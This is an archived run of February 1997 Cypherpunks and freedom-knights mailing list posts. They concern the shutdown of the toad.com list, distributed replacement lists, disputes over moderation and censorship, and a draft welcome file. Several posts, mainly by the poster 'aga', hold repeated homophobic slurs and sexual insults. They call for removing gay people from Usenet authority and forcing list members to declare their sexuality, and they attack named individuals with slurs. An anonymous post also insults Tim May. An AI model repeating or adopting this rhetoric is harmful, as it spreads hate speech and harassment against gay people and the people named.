> Date: Sat, 15 Feb 97 08:30:15 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Against Moderation <antimod@nym.alias.net> writes:
> 
> > aga <aga@dhp.com> writes:
> >
> > > > > ...  Remember the previous cypherpunk who stated that the
> > > > > gays "created and run usenet."
> > > ...
> > > It was on the list last month, and the person was serious and correct.
> > > That is exactly why we must now kill all of usenet as it stands, for
> > > a new heterosexual beginning.
> > >
> > > ...  We are here to
> > > "rip new assholes" in the faggots who have ruined the net thus far,
> > > and to take over and make this net heterosexual oriented.
> >
> > So if I follow your argument, gays created and run usenet, and have
> 
> Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created
> Usenet. (That is, some of the people who created Usenet may well have been
> sexually attracted to people of the same sex in real life - I don't have a
> problem with that - but none of them were "Usenet faggots" who tried to
> suppress free speech). Now the homos, who ruined Fidonet through
> censorship and UDP-like wars, are trying to take over Usenet with the same
> disasterous results.
> 
> > also ruined it thus far.  Can you just clarify a few points?  I'm
> > trying to follow your premise here [which I don't necessarily
> > believe], and it seems contradictory.
> >
> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?
> 
> >   * If Usenet was created and ruined by terrible people, what exactly
> >     is your interest in it?  Why don't you just create an alternate
> >     news network.  You can easily do this using software these gay
> >     people have so graciously given you the source for, and then you
> >     could be the authority over the entire heterosexual news
> >     hierarchy.
> 
> We were here first. I've been on Usenet for > 10 years, before most of the
> scum that's trying to ruin it now. Besides, the homos will try to ruin any
> alternative forum they think is used by their "enemies". Look how they've
> been flooding the freedom-knights mailing list with shit.
> 
> >   * If people you consider gay can't hold any position of authority on
> >     the internet, why do you acknowledge their authority by trying to
> >     fight them in particular?  I mean, what authority do these gay
> >     people have over a gay, ruined usenet that's so important you need
> >     to rip new assholes in them?
> >
> > I just don't understand whom you are fighting over what and why.
> 
> Good question. I'm fighting against _actions that suppress speech - such
> as complaints to postmasters that result in plug-pulling; or forged cancels.
> If false complaints were universally ignored - cancels junked, postmaster
> complaints junked, as they should be, then these actions would be just
> speech, therefore not worthy of suppression. I don't want the homos to be
> silenced, merely rendered impotent to silence others.
> 

The queer named J.D. Falk and the little queer called
Timmy Skirvin are also to blame for much of the shit we now
have present today.

Trust only Dave Hayes for an uncensored full-feed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:28:56 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Digest needed
In-Reply-To: <199702152355.PAA00282@songbird.com>
Message-ID: <Pine.LNX.3.95.970216112037.2356H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Kent Crispin wrote:

> Date: Sat, 15 Feb 1997 15:55:34 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>
> Reply-To: freedom-knights@jetcafe.org
> To: Dale Thorn <dthorn@gte.net>
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org,
>     freedom-knights@jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Dale Thorn allegedly said:
> > 
> [...]
> > 
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> 
> So I think that people would like to get the distributed list going...
> 

What is it going to do then, all run on the same majordomo?

> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
> PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F

Just make sure it all works on Linux.  

I think a -digest- would be in order, and if everybody uses the same
program, you can make sure there are no duplicates.

I will put up the address for Vulis to run.  Now the cypherpunks
all support the net.scum web-page, right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:36:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33066F12.60CB@gte.net>
Message-ID: <Pine.LNX.3.95.970216113150.2356I-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:21:07 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Kent Crispin wrote:
> > Dale Thorn allegedly said:
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> 
> > Dave is offering a single mailing list, which, while I am sure Dave is
> > a great person, still represents a single point of control and a
> > single point of failure.  A distributed mailing list has a potential
> > for being much more robust, and for supporting a wide range of
> > viewpoints.  Furthermore a distributed mailing list is an interesting
> > minor technical problem, and a good solution could have wide
> > applicability.
> > So I think that people would like to get the distributed list going...
> 
> I hope this doesn't duplicate the earlier message - if someone were
> tracking all this activity and kept the lists informed about what
> was available where - and particularly if the downloading could be
> automatic as in the subscription lists - that would be ideal.
> 
> I wanted to spend some time on alt.cypherpunks, but I haven't got
> thru the subscription mail for the last few days yet.  If there's
> a scheme that works better than just ad-hoc looking, I'd sure like
> to know.
> 

You mean there is an alt.cypherpunks mailing list?
That is not on my server.

I have mail.cypherpunks though, and I thought that was
the usenet newsgroup for cypherpunks.

let's see what dejanews says about this one.

How about every posting to alt.underground for the time being,
until we get this matter settled?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:38:25 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: The EFF
In-Reply-To: <33067467.55B4@gte.net>
Message-ID: <Pine.LNX.3.95.970216113732.2356J-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:43:51 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: Toto <toto@sk.sympatico.ca>
> Cc: cypherpunks@algebra.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: The EFF
> 
> Toto wrote:
> > Timothy C. May wrote:
> > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> > It is my (limited) understanding that the EFF has discovered that
> > the support that comes with private philanthropy from will o'wisp
> > Bay Area 'liberals' doesn't carry the terrible burden of having to
> > compete for the petty contributions of the UnRich.
> > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > the Bay Area, teaching them how to give their money away to 'good'
> > causes. I believe that one of the prime considerations in separating
> > the 'good' causes from the 'bad' causes has something to do with the
> > the proper wine being served with the cheese and cracker offerings
> > during their cocktail parties.
> 
> Wine and cheese are the key.  You hit that one on the head.  I tried
> those Mensa parties in Beverly Hills a few times, but the girls want
> you to kiss their hands like some kinda princesses or something,
> whereas I think a simple handshake would suffice.  So I just quit
> going.  Maybe this has something to do with why there are no c-punks
> meetings in the L.A. area.
> 

Dale, so you are in mensa?  Did you have to take a test?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 16 Feb 1997 12:02:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162002.MAA28869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
>Roy M. Silvernail wrote:
...
>> Or that the money wasn't there in the first place (absent a trusted
>> signature system), or the key doesn't exist, or the wrong key is
>> offered, or the sender put the same e-dollar on all 60000 mails sie
>> sent and it's already been redeemed.
>
>Well, if the trusted party performs the encryption by both recipient's
>public key and the "retrieval key", the problem that you mention can 
>be avoided.
Yeah.  I as a spam artist send the "proof" message through the e-cash
verification center with the Send To: field returning it to a mail exploder.
Each receipient gets the same dollar.
This assumes that the To: field is not hashed into the verification
signature, and that the verification works like a glorified remailer.  (cash
added on a separate channel).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:04:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <199702161535.JAA27280@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970216115926.2356L-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: ichudov@algebra.com, toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> aga wrote:
> > On Sat, 15 Feb 1997, Igor Chudov @ home wrote:
> > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST)
> > > From: "Igor Chudov @ home" <ichudov@algebra.com>
> > > To: aga <aga@dhp.com>
> > > Cc: toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
> > >     cypherpunks@algebra.com
> > > Subject: Re: Dave Hayes takes over Cypherpunks
> > > 
> > > > ======================================
> > > > == This list is still experimental. ==
> > > > == admin       ichudov@algebra.com  ==
> > > > ======================================
> > > > 
> > > 
> > > Just fyi, I am removing this footer from the list config.
> > > 
> > > It was here so that people could tell that the list was new and 
> > > glitches were likely to happen.
> > > 
> > 
> > O.K. what are you doing, Igor?  Is this a new cypherpunks list?
> 
> This is ONE OF new cypherpunks lists. These lists will soon be
> connected to each other so that people subscribed to any of them
> will receive all article sent to each list.
> 
> Kinda like USENET.
>  

10-4

It is like a new hierarchy, huh? {;-)-~

cmsg newgroup cypherpunks.cunt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pjb@23kgroup.com (Paul J. Bell)
Date: Sun, 16 Feb 1997 09:28:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: DFA
Message-ID: <9702161715.AA00799@23kgroup.com>
MIME-Version: 1.0
Content-Type: text/plain


does anyone know what has happened to DFA, and the people who
just a few months ago were publishing such encouraging results?

have they gone underground, or perhaps been put underground, 
in a rather permanent way?

isn't it strange how quite it has been on this subject?

cheers,
	-paul




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Sun, 16 Feb 1997 12:23:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <Pine.LNX.3.95.970216122014.30109A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain



	I got this message (on a system that I am webmaster on) regarding
something that sounded so stupid it made me chuckle...Naughty Robot...I
have enclosed the message below.  If any of you have any idea what this
user is talking about, any info would be appreciated.

	Personally it sounds like another "GoodTimes Virus" again...

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================

Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST)
Subject: Re: Questions about Naughty Robot
Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST)


>> Don't wanna bug ya too much, but I was wondering if you have ever heard
>> of Naughty Robot, and whether or not if it is a hoax or Real?
>> 
>> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
>> has infected your host computer and consider all your credit cards
>> stolen.
>> 
>> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
>> been hit with it and say that it's a script that does hack into the
>> IPS's server and sits back and watches the users browse the web and take
>> the info they see on there screen and dump to some remote server??
>> 
>> I was wondering if you have heard about it...and if so can you direct to
>> the right locations on the web to get the "Official" Scoop on it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:36:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore
Message-ID: <3.0.1.32.19970216123345.006383e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  This is a test ping to verify whether mail to 
cypherpunks@toad.com gets forwarded successfully to 
one of the other cypherpunks lists, and how fast.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:39:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <3.0.1.32.19970216123445.00642698@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:35:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FAQ
In-Reply-To: <199702161640.KAA28082@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970216122351.2356M-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 10:40:15 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: freedom-knights@jetcafe.org
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga wrote:
> > I have mail.cypherpunks though, and I thought that was
> > the usenet newsgroup for cypherpunks.
> > 
> > let's see what dejanews says about this one.
> > 
> > How about every posting to alt.underground for the time being,
> > until we get this matter settled?
> > 
> 
> John,
> 
> I think that you would be the best author for writing the official
> alt.cypherpunks FAQ. I have no doubt that many readers will appreciate
> your effort and it will win you a lot of new points with them.
> 
> One thing is, you have a lot of ideas, and two, your writing style is
> very good (you are a law doctor after all).
> 
> The FAQ should not be necessarily very big.
> 
> 	- Igor.
> 

But I have never been on the cypherpunks mailing list.
I only got involved because they were in the header of
some F-K list mail.

And I think that Dr. Vulis would be much better qualified than
I would be.  My Doctorate was in Law, but Dimitri did his in
math and/or cryptography, which is more appropriate.

All I can say is that it should be a list where everybody is
required to state their sex and sexual orientation up front.
And the rule MUST BE that you are a queer by default.

We MUST have a correct sexual definition up front, and nobody
is allowed to say, "I refuse to state my sexuality" because we
then know that they are closet homosexuals.

what we want is the truth up front.

BTW, all five of the newsgroups in this header are available
through dejanews for posting to, if you use them in the current order.

the a.g.g. newsgroup ate dejanews gets your article posted to ANY
other newsgroup, including alt.cypherpunks and cypherpunks.cunt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Sun, 16 Feb 1997 03:36:10 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: MagicMoney
Message-ID: <Pine.LNX.3.95.970216122710.290B-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain



I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
It is just the code (compiling without error), but there is no README or
documentation at all.Can someone give me a hint,what to do with this
package? Is there a documentation somesite?
BTW utopia is the site,you can get all the export restricted stuff outside
the US.

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  The following headers are from a posting by John Young
that looks like it was sent to cypherpunks@toad.com,
forwarded to cypherpunks@sirius.infonex.com and/or
cypherpunks@cyberpass.net, and has the Reply-To: header
set to reply to cypherpunks@toad.com instead of to John Young....
It looks like the obvious implementation of cypherpunks-style mail header
patching, but isn't quite right.....  Leads to people sending
their John Young mailbot requests to cypherpunks@toad.com instead,
as some well-known cypherpunks have mistakenly done recently :-)

=====================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
X-Sender: jya@pop.pipeline.com
Date: Sat, 15 Feb 1997 09:04:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: FBI_100
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: cypherpunks@toad.com
X-List: cypherpunks@cyberpass.net

2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.
==============================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:59:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Gays are Pink Queers
In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970215092431.29361F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Date: 15 Feb 1997 06:25:38 -0000
> From: Against Moderation <antimod@nym.alias.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: aga@dhp.com, cypherpunks@toad.com, cypherpunks@pgh.org,
>     ichudov@algebra.com, dlv@bwalk.dm.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
> > Don't you get it? Real censorship issues do not arise until someone
> > rocks the boat. It takes someone to rock the boat to make you aware
> > of your own prejudices of that nature. If it takes attacking
> > homosexuals and pissing them off enough to make them show their
> > true colors and begin censorship...so be it. Why be civil when that
> > civility serves to hide that which is ultimately against free speech?
> > 
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.
> 
> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  

No I would not.  I do not believe in moderated groups, except for comp
and sci gays can say anything that they want.  

Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.
> 

But I never said I found faggots disturbing.  Quite the contrary.
Faggots are excellent at what they do, blow jobs, so let's not mix
up apples and oranges.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," 

Nobody is talking about "exterminating" anybody.  We just want to
remove the gays from power, so they have more time to suck cock and
do whatever else that they do best, which does not include
usenet.admin.

and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.
> 

Freedom of Speech means that we eliminate moderated newsgroups
and homosexual cliques being in power around here.

Faggots are mostly PINK!

Dobbs is a straight dude, and so was KIBO.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 13:13:55 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162113.NAA07700@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  

I can also offer my participation in the distributed mailing list, if
that is what it takes to get cypherpunks free of control interests again.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

                      A poor man shames us all.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 16 Feb 1997 11:46:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Jim Beam' me up, Scotty!
Message-ID: <330779D1.312F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8@cyberspace.9>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 11:27:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Thanks to John Gilmore for running cypherpunks mailing list
Message-ID: <199702161923.NAA29288@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

cypherpunks@toad.com goes down in four days.

I would like to thank John Gilmore for all his efforts that he spent to
run the list. Administering a huge mailing list like cypherpunks is a
tough job, requiring a lot of dedication, time and patience.

John, along with other cypherpunks, created a unique online community
that generated many valuable ideas. This community helped a great deal
to increase crypto awareness of the masses. I personally joined
cypherpunks for very arkane reasons, but later found out a lot of useful
information.

The moderation experiment failed by many reasons, but the last month
should not distract us from what John did over last several years.

Again, thanks to John for his work.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 13:24:43 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162124.NAA07767@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> I believe homophobia is a great way to bring out the censors in
> people.  However, inducing censorship is only part of fighting it.

You assume that it is an enemy to be fought. While censorship is
clearly undesireable, making it an enemy only strengthens it.

> You also need respectable people to some in, argue cogently against
> the dangers of censorship, perhaps even get some extremely reasonable
> articles suppressed, and then spread the word about it.  I find the
> freedom-knights tactics' extremely lacking in this second, "clean up
> and analyze the mess" phase.

Part, if not all, of that lack is due to our knowledge of the
subjective standard of "respectability" that human beings have.
That's the same differentiation used in many censorship attempts, and
if we made or supported such differentiations this would undermine any
anti-censorship actions we could take.

The meta-points are:

- What is reasonable to you may or may not be reasonable to me. That is
why we refrain from censoring others, since we have no absolute
standard of reasonability.

- You appear to be concerned with convincing others. We are not
concerned with that, since we know that the default for most others is
to be invincibly unconvincable. We are simply here to be living 
models for an arbitrary code of behavior...that behavior being
outlined in the Freedom Knights FAQ. 

- Please remember that you have to judge who is and is not a Freedom
Knight by their -actions- and not their claims. 

> censorship on cypherpunks.  However, I think most peoples' opinions
> didn't really turn, or at least people didn't realize how serious
> things were and didn't really care, until Tim May [someone the many
> freedom-knights hate] started criticizing this censorship in extremely
> reasonable messages that were suppressed from both the -edited and
> -flames mailing list.

Assuming that is true, that people do not care about censorship until
a person with an arbitrary reasonability says something, I would say
that such a group cares not about free speech...even if they think
they do.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Two men were fighting outside Nasrudin's window at dead of night. Nasrudin 
got up, wrapped his only blanket around himself, and ran outside. As he 
tried to reason with the drunks, one snatched his blanket and both ran away.
"What were they arguing about?" asked his wife when he went in. "It must 
have been the blanket. When they got that, the fight broke up."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Feb 1997 10:48:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702161829.NAA06744@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May must have been sharing needles with a rabid hedgehog.

       o o Timothy May
        o
       \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 11:35:21 -0800 (PST)
To: cypherpunks-hosts@algebra.com
Subject: Proposed info file
Message-ID: <199702161929.NAA29420@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

The text below is what I wrote for cypherpunks@algebra.com to be
sent to new subscribers. Feel free to criticize.

	- Igor.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

About cypherpunks mailing lists
-------------------------------

* * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE 
* * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING
* * * LIST.
* * * 
* * * DO NOT JUST DELETE THIS MESSAGE.

I. Administrivia (please read, boring though it may be)

The cypherpunks list cypherpunks@algebra.com is one of the cypherpunks
mailing lists discussing cryptography, privacy, and social issues
relating to them.  These lists are connected to each other in such a way
that all messages appear on all of these lists.

All of these lists are high-volume mailing lists. There are several
reasons for existence of multiple mailing lists that are
inter-subscribed. The main reason is the large number of subscribers and
limited bandwidth of each of the participating list nodes -- each node
can take on only that many users.

Most people will not want to subscribe to more than one of these lists.

If you don't know how to do something, like unsubscribe, send mail to

	majordomo@algebra.com

and the software robot which answers that address will send you back
instructions on how to do what you want.  If you don't know the
majordomo syntax, an empty message to this address will get you a help
file, as will a command 'help' in the body.  Even with all this
automated help, you may still encounter problems.  If you get really
stuck, please feel free to contact me directly at the address I use
for mailing list management:

	cypherpunks-request@algebra.com

Please use this address for all mailing list management issues.  Hint:
if you try to unsubscribe yourself from a different account than you
signed up for, it likely won't work.  Log back into your old account
and try again.  If you no longer have access to that account, mail me
at the list management address above.  Also, please realize that 
there will be some cypherpunks messages "in transit" to you at the
time you unsubscribe.  If you get a response that says you are unsubscribed,
but the messages keep coming, wait a day and they should stop.

Do not mail to the whole list asking to be removed. It's rude ans stupid.

To post to the whole list, send mail to

	cypherpunks@algebra.com

If your mail bounces repeatedly, you will be removed from the list.
Nothing personal, but I have to look at all the bounce messages.

There is no digest version available.

There is a meta list which discusses the architecture and other issues of
the distributed cypherpunks lists. It is not intended to be used for
crypto discussions.

if you want to be added or removed to the metadiscussion list, send a message
"subscribe cypherpunks-hosts" to majordomo@algebra.com.


II. About cypherpunks

The cypherpunks list is not designed for beginners, although they are
welcome.  If you are totally new to crypto, please get and read the
crypto FAQ referenced below.  This document is a good introduction,
although not short.  Crypto is a subtle field and a good understanding
will not come without some study.  Please, as a courtesy to all, do
some reading to make sure that your question is not already frequently
asked.

There are other forums to use on the subject of cryptography.  The
Usenet group sci.crypt deals with technical cryptography; cypherpunks
deals with technical details but slants the discussion toward their
social implications.  The Usenet group talk.politics.crypto, as is
says, is for political theorizing, and cypherpunks gets its share of
that, but cypherpunks is all pro-crypto; the debates on this list are
about how to best get crypto out there.  The Usenet group
alt.security.pgp is a pgp-specific group, and questions about pgp as
such are likely better asked there than here.  Ditto for
alt.security.ripem.

alt.cypherpunks is indended as a mirror USENET forum for this 
mailing list.

III. Posting Policy.

Please note that some members of cypherpunks mailing list may surprise
you as very rude people. You may see views that sound very offensive to
you.  You will also see many articles that make no sense to you, are
very stupid, or appear to be commercial advertisements.

Consider such situation to be a price of YOUR freedom to post anything you
want. Remember that speech that pleases everyone needs no protection: it is
the offensive speech that is most often assaulted and thus needs to be 
protected. Also, speech that you find silly and distasteful may seem
to be of great use for others.

If you feel that some poster's articles are not useful and offensive to
you, you can set up your mail reading software to ignore all articles
